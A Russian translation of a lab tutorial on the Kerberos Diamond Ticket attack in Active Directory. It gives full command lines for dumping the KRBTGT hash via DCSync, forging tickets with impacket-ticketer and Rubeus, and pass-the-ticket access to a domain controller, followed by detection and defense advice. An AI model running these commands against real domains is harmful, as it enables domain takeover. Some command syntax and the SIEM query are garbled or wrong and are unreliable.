Содержание статьи
- Механизм атаки
- Атака по шагам
- Структура тикетов
- TGT (Ticket Granting Ticket)
- TGS (сервисный тикет)
- Валидация PAC
- AS-REQ и AS-REP
- TGS-REQ и TGS-REP
- AP-REQ (запрос приложения)
- Валидация PAC на стороне сервиса
- Подробности проверки PAC
- AP-REP (ответ приложения)
- Ограничения PAC-валидации
- Что нужно для атаки
- Удаленная Атака Diamond на Linux
- Извлекаем хеш KRBTGT и SID домена
- Создаем поддельный TGS и PAC
- Pass the Ticket
- Локальная атака на Windows
- Извлечение хеша KRBTGT
- От TGT к TGS
- klist
- Методы обнаружения
- Как защититься?
- Выводы
info
Это перевод материала Diamond Ticket Attack: Abusing kerberos Trust из блога Hacking Articles. Автор — Комаль Сингх. Этот материал доступен без платной подписки.
Для начала разберемся с основами: в атаке на Domain PAC (Privilege Attribute Certificate) злоумышленник подделывает или изменяет PAC внутри билета Kerberos. В результате злодей получает несанкционированный доступ или повышает свои привилегии в доменной среде. Это работает из‑за того, что многие сервисы по умолчанию доверяют PAC, часто не проверяя его подлинность и не сопоставляя с данными Key Distribution Center (KDC).
Атака Diamond Ticket — более продвинутый вариант. Здесь злоумышленник внаглую лезет в сами билеты Kerberos — в первую очередь Ticket Granting Tickets (TGTs) и PAC. Подделанные билеты используют, чтобы повысить привилегии в домене Active Directory (AD).
Механизм атаки
Для начала атаки злоумышленник подделывает PAC, чтобы добавить туда повышенные привилегии или фальшивые группы (например, «Администраторы домена»).
После этого поддельный билет с измененным PAC отправляется на целевой сервис.
В классической «бриллиантовой» атаке злоумышленник сперва использует хеш KRBTGT AES, чтобы расшифровать рабочий билет TGT (Ticket Granting Ticket). Далее он меняет PAC (Privilege Attribute Certificate) внутри TGT и, наконец, снова шифрует измененный TGT с тем же хешем KRBTGT AES, так, чтобы тот выглядел легитимным.
По сути, это атака на модификацию TGT. Хакер не будет заморачиваться кражей исходного TGT или созданием нового с нуля. Ему достаточно просто поковыряться в PAC внутри уже существующего TGT и изменить его под свои нужды.
Атака по шагам
Вот шаги, которые предпринимаются при проведении атаки Diamond Ticket:
- Получение AES-хеша учетной записи KRBTGT. Для начала злоумышленник компрометирует учетную запись KRBTGT — обычно это делается через дамп хешей с контроллера домена или получение доступа к важной информации контроллера.
- Дешифровка TGT с помощью AES-хеша KRBTGT. Атакующий использует AES-хеш аккаунта KRBTGT, чтобы дешифровать валидный TGT. Когда TGT успешно расшифрован, в нем обнаруживается PAC — он несет информацию о привилегиях пользователя, членстве в группах и другую важную инфу.
- Изменение PAC. Расшифровав TGT, злоумышленник может поколдовать над PAC, чтобы вписать себе новые атрибуты или привилегии. В итоге он может добавить себя в такие элитные группы, как Domain Admins, или сменить членство в группах, чтобы прокачать свои права до небес.
- Перешифровка измененного TGT с использованием AES-хеша KRBTGT. Как только злоумышленник поменяет PAC по своему вкусу, он перешифровывает TGT с помощью хеша KRBTGT AES, чтобы получить новый валидный TGT. Эта перешифровка заставляет измененный TGT выглядеть легитимным для системы Kerberos.
- Применение модифицированного TGT. Атакующий теперь может предъявить модифицированный TGT, чтобы получить доступ к ресурсам, как будто он привилегированный пользователь, обходя обычные механизмы контроля доступа.
- TGS (Service Ticket). Тикеты TGS выдаются на основе TGT. Они сами по себе PAC не хранят, а используют PAC из TGT, чтобы проверить твою личность и права.
В этом варианте атаки манипуляция происходит, еще когда TGS не задействован, потому что подделанный TGT используется для запроса сервисного тикета с повышенными привилегиями.
Структура тикетов
TGT (Ticket Granting Ticket)
TGT — это штука, которую тебе выдает Authentication Server (AS). Она нужна, чтобы потом штурмовать Ticket Granting Service (TGS) для получения сервисных билетов. Обычно у нее внутри лежит следующее:
- Заголовок — версия и тип тикета.
-
Информация о клиенте — имя пользователя и область (например,
user@DOMAIN.
).LOCAL - Session Key — ключик, который делят между собой клиент и KDC. Он нужен, чтобы шифровать общение.
-
PAC (Privilege Attribute Certificate) включает в себя все данные о пользователе:
- прописка в группах;
- привилегии (типа админских прав);
- SID аккаунта (Security Identifier) — уникальный идентификатор безопасности.
- Временная метка и срок действия — период валидности билета (время начала, время истечения).
- Шифрование KRBTGT — TGT зашифрован и подписан с использованием хеша KRBTGT (AES или RC4), чтобы только KDC мог его читать и проверять.
TGS (сервисный тикет)
Давай разберемся, как устроен сервисный тикет TGS. Он выдается сервером Ticket Granting Service на основе TGT и используется для доступа к конкретным сервисам. В его структуру входит:
- Информация о заголовке — версия тикета и его тип.
- Информация о клиенте — имя пользователя и область.
- Session Key — уникальный ключ для безопасного общения между клиентом и целевой службой.
- Информация о сервисе — Service Principal Name (SPN), который определяет целевой сервис (например, HTTP/WEBSERVER.DOMAIN.LOCAL).
- PAC (Privilege Attribute Certificate) — берется из TGT и применяется сервисом, чтобы удостовериться, что пользователь — это тот, за кого он себя выдает, и проверить, какие у него есть права.
- Временная метка и срок действия — период, в течение которого сервисный тикет считается валидным.
- Зашифрованный сервисный ключ — шифрование происходит при помощи ключа сервисного аккаунта (хеш пароля или ключевой материал SPN).
Валидация PAC
Проверка PAC (Privilege Attribute Certificate) в Kerberos обеспечивает легитимность личности и привилегий пользователя, который аутентифицировался через Kerberos. PAC содержит инфу о принадлежности юзера к группам, его SID (Security Identifier) и другие данные для авторизации.
AS-REQ и AS-REP
- Клиент отправляет AS-REQ в центр распределения ключей (KDC), чтобы получить билет‑допуск (TGT).
- KDC выдает TGT в AS-REP, вкладывая PAC в зашифрованную часть тикета.
TGS-REQ и TGS-REP
- Клиент отправляет TGS-REQ на KDC, используя свой TGT для запроса тикета на доступ к конкретному ресурсу.
- KDC отвечает пакетом TGS-REP, в который вложен PAC.
AP-REQ (запрос приложения)
- Клиент отправляет TGS (включая PAC) на целевой сервис.
Валидация PAC на стороне сервиса
- Если сервис доверяет KDC, он может напрямую использовать PAC без проверки.
- Если нужно проверить PAC, сервис отправляет его на контроллер домена для верификации.
Подробности проверки PAC
- Сервис отсылает PAC контроллеру домена, используя проверку подписи Kerberos.
- Контроллер домена (DC) проверяет цифровую подпись PAC (выполненной с помощью приватного ключа KDC), чтобы убедиться в ее целостности и подлинности.
- Если всё окей, то DC шлет подтверждение сервису.
AP-REP (ответ приложения)
- После проверки PAC служба либо дает доступ, либо отказывает, основываясь на правах юзера.
Ограничения PAC-валидации
Главный косяк в аутентификации с Kerberos PAC — отсутствие проверки PAC сервисами. Часто случается так, что сервисы бездумно доверяют PAC, встроенному в билеты Kerberos, не сверяясь с подписью KDC или контроллера домена (DC). Как результат, злоумышленники могут:
- создавать PAC офлайн, взломав учетные данные (например, хеш NTLM или ключи Kerberos);
- создавать фейковый TGS-билет (Ticket Granting Service), не связываясь с KDC;
- использовать уязвимость в модели доверия, где сервис слепо принимает тикет, предоставляя несанкционированный доступ.
Проблемы, к которым это может привести:
- Манипуляция моделью доверия Kerberos — сервисы считают PAC подлинным и пропускают валидацию.
- Офлайн‑подделка — атаки совершаются в обход KDC, и отследить их крайне сложно.
- Зависимость — украденные ключи или хеши учетных записей сервисов позволяют генерировать тикеты.
Что нужно для атаки
- Хеш аккаунта KRBTGT — играет ключевую роль при дешифровке и решифровке TGT.
- Ключ AES256 — частенько требуется, чтобы ковыряться в PAC внутри TGT.
- Административный доступ — нужен доступ к аккаунту с высокими привилегиями, чтобы стянуть оттуда криптографический материал.
Давай теперь подготовим стенд, на котором сможем воспроизвести атаку.
В доменном контроллере создаем двух пользователей: Raaz с правами доменного админа и Sanjeet — обычный пользователь.
net user raaz Password@1 /add /domain
net group raaz "Domain Admins" /add /domain

Эта команда добавляет пользователя Raaz к группе Domain Admins на уровне домена. Теперь у Raaz есть полный контроль над доменом, как у настоящего хакера.
Будь осторожен с такими командами — они выдают большие полномочия и могут привести к серьезным последствиям, если попадут не в те руки.
net user sanjeet Password@1 /add /domain

Удаленная Атака Diamond на Linux
Как мы уже обсудили, чтобы провернуть эту атаку, злоумышленнику нужно завладеть хешем KRBTGT. Представим, что в нашей гипотетической ситуации он сумел скомпрометировать учетку с высокими привилегиями, скажем RAAZ-User. Используя этот доступ, атакующий решает провернуть атаку DCSync, чтобы вытянуть хеш аккаунта KRBTGT.
Извлекаем хеш KRBTGT и SID домена
Вот как будет выглядеть команда:
impacket-secretsdump ignite.local/raaz:Password@1@192.168.1.48 -just-dc-user krbtgt
На следующей картинке выделены хеши NTLM и AES служебной учетной записи KRBTGT.

Теперь узнаем SID для пользователя Raaz.
nxc ldap 192.168.1.48 -u raaz -p Password@1 –get-sid

Создаем поддельный TGS и PAC
Злоумышленник подделывает сервисный тикет для пользователя Sanjeet, повысив его привилегии и снабдив валидной подписью. При этом он хитро обходит валидацию PAC на контроллере домена.
impacket-ticketer -request -domain 'ignite.local' -user 'sanjeet' -password 'Password@1' -nthash '761688de884aff3372f8b9c53b2993c7' -aesKey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb' -domain-sid 'S-1-5-21-798084426-3415456680-3274829403' sanjeet
Здесь
-
-domain
определяет целевое доменное имя для атаки;'ignite. local' -
-user
— имя пользователя, для которого создается поддельный тикет;'sanjeet' -
-password
— пароль пользователя, нужный, чтобы вытащить криптографические ключи для генерации PAC или тикета (эта часть обычно не так важна в атаках типа «Серебряный билет»);'Password@1' -
-nthash
и-aesKey
относятся к учетной записи KRBTGT, нужны для атаки типа Diamond Ticket. Они используются для криптографической подписи и проверки поддельного сервисного тикета; -
-domain-sid
— уникальный идентификатор домена. Нужен при конструировании PAC;'S-1-5-21-79... 03' -
sanjeet
указывает на SPN (Service Principal Name) или имя пользователя, которое атакующий использует, чтобы притвориться Санжитом и получить доступ к разным сервисам.
Pass the Ticket
В этом случае переменная окружения указывает системе использовать конкретный файл кеша учетных данных Kerberos (sanjeet.ccache) для аутентификации.
В файле sanjeet.
хранятся билеты Kerberos для пользователя Sanjeet, и, скорее всего, там можно найти билет доступа к нужному сервису (TGS) для выбранной цели.
export KRB5CCNAME=sanjeet.ccache; impacket-psexec ignite.local/sanjeet@dc.ignite.local -dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass
Разберем параметры:
-
impacket-psexec
— инструмент из библиотеки Impacket, который по SMB дает тебе возможность удаленно запускать команды на Windows-машинах; -
ignite.
— имя главного объекта Kerberos (user@realm), которое используется для аутентификации. Здесьlocal/ sanjeet@dc. ignite. local local
— это домен,sanjeet
— имя пользователя,ignite.
— хостнейм нашего контроллера домена;local -
-dc-ip
— этот параметр указывает IP-адрес контроллера домена, с которым ты хочешь взаимодействовать;192. 168. 1. 48 -
-target-ip
— IP-адрес целевой системы, где будет выполняться команда. В данном случае это тот же адрес, что и у контроллера домена;192. 168. 1. 48 -
-k
— указывает, что будет применена аутентификация Kerberos вместо устаревшего NTLM. Утилита заберет Kerberos-билеты из указанного кеша учетных данных (KRB5CCNAME); -
no-pass
— сообщает инструменту не запрашивать пароль, потому что аутентификация будет выполнена с помощью Kerberos-билетов, которые уже лежат в кеше.
Локальная атака на Windows
Если злоумышленник проник на локальный компьютер с Windows, то он может прибегнуть к таким инструментам, как Mimikatz и Rubeus.
Извлечение хеша KRBTGT
Команда, которую я приведу ниже, вытягивает NTLM-хеш и ключи шифрования AES учетной записи KRBTGT из целевого домена. Эти хеши используются в атаках Golden Ticket и Diamond Ticket для подделки билетов Kerberos.

Чтобы было нагляднее, вот пример команды, демонстрирующей использование Rubeus (это утилита для оперирования с билетами Kerberos в Active Directory). Эта конкретная команда проводит атаку Diamond Ticket, которая позволяет злоумышленнику прикинуться нужным юзером.
rubeus.exe diamond /krbkey:8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb /user:sanjeet /password:Password@1 /enctype:aes /domain:ignite.local /dc:dc.ignite.local /ticketuser:sanjeet /ptt /nowrap
В этой атаке происходит подделка сервисных билетов при помощи ключей шифрования KRBTGT. Разберем параметры:
-
krbkey:
— этот оператор указывает AES-ключ KRBTGT, который нужен для шифрования и подписи билета Kerberos. Это самый важный параметр для создания валидного сервисного тикета;8e5... dbb -
/
— имя пользователя, от которого будет производиться работа во время операции;user: sanjeet -
/
— пароль для указанного пользователя. Система использует этот пароль для аутентификации и, возможно, получения ключей шифрования или TGT;password: Password@1 -
/
— тип шифрования для билета Kerberos. В этом случае используется шифрование AES — популярный вариант в современных реализациях Kerberos для усиления защиты;enctype: aes -
/
— целевой домен (domain: ignite. local ignite.
), для которого предназначен поддельный билет;local -
/
— система коннектится к Domain Controller (dc: dc. ignite. local dc.
) в процессе создания тикета;ignite. local -
/
— фальшивый билет Kerberos сделан так, чтобы выдать себя за юзера Sanjeet;ticketuser: sanjeet -
/
— атака Pass the Ticket. Сгенерированный билет автоматически встраивается в текущую сессию, чтобы моментально сработать при аутентификации;ptt -
/
— эта настройка не позволяет выводу в консоли переноситься на новую строку. Улучшает читаемость.nowrap

От TGT к TGS
Теперь программа сольет TGT-билет, который пригодится для запроса TGS.

rubeus.exe asktgs /ticket: <вставь сюда скопированный ранее тикет> /service:cifs/dc.ignite.local /ptt /nowrap


klist
Эта команда выведет на экран все закешированные на данный момент билеты Kerberos.

В этом сценарии атакующий запускает команду на Windows, чтобы получить список содержимого диска C:
удаленной машины. Чтобы указать ее, нужно задать имя хоста или IP-адрес.
dir \\dc.ignite.local\c$

Методы обнаружения
Вот список ID ключевых событий:
- 4769 (запрос сервисного билета) — можно детектировать использование поддельных TGT. Признаки: странные имена аккаунтов, высокие права (например, администраторы домена) и запросы с неожиданных IP.
- 4624 (успешный вход в систему) — ищи события с Logon Type 3 (сетевые входы) с неожиданных хостов или с повышенными привилегиями у учеток, которые не тянут на админа.
- 4678 (привилегии, назначенные при входе) — позволяет отслеживать момент, когда обычным юзерам вдруг прилетают спецпривилегии (например,
SeDebugPrivilege
). - 4713 (изменение политики Kerberos) — изменены флаги времени жизни тикетов или другие параметры политики Kerberos.
- 4625 (неудачная авторизация) — повторяющиеся фейлы входа от имени привилегированных учеток или с подозрительных IP-адресов.
Стратегии обнаружения:
- Время жизни тикета: сравни время жизни тикета в событии с ID 4769 с нормами политики, чтобы выловить аномалии.
- Привязка привилегий: отслеживай повышенные привилегии или доступ к чувствительным SPN у обычных юзеров.
- Нетипичное шифрование: обращай внимание на редкое шифрование, вроде RC4, в событиях с ID 4769.
- Использование TGT: следи за одинаковыми TGT, которые применяются на разных IP или с разных мест.
Проактивные приемы:
- Включи логирование Kerberos, чтобы увидеть все в подробностях.
- Проверь изменения в группах с высокими привилегиями (ID событий 4728, 4732).
- Регулярно меняй пароли учетной записи KRBTGT.
Пример запроса для SIEM:
index=security_logs sourcetype=wineventlog EventID=4769
| search ServiceName IN ("Domain Admins", "Enterprise Admins")
| stats count by AccountName, IPAddress, ServiceName
| where count > 5
Как защититься?
Превентивные меры:
- Меняй пароль учетной записи KRBTGT. Постоянно обновляй пароль у KRBTGT дважды, чтобы аннулировать закешированные тикеты.
- Внедряй современное шифрование. Забудь про старые протоколы типа RC4-HMAC и используй AES256.
- Ограничь эскалацию привилегий. Используй принципы минимальных привилегий, чтобы уменьшить уязвимость.
Реагирование на инцидент:
- Обнуление активных тикетов: мгновенно меняй ключи KRBTGT и выкидывай всех пользователей из системы.
- Форензика: используй такие инструменты, как BloodHound, чтобы построить траекторию повышения привилегий и выявить взломанные аккаунты.
Выводы
Возможность атаки Diamond Ticket должна подтолкнуть админов не забывать о безопасности аутентификации Kerberos в Active Directory. Если ты как защитник разберешься в технических деталях и устранишь коренные причины уязвимостей, твоя компания сможет всерьез снизить риски перед лицом этой угрозы.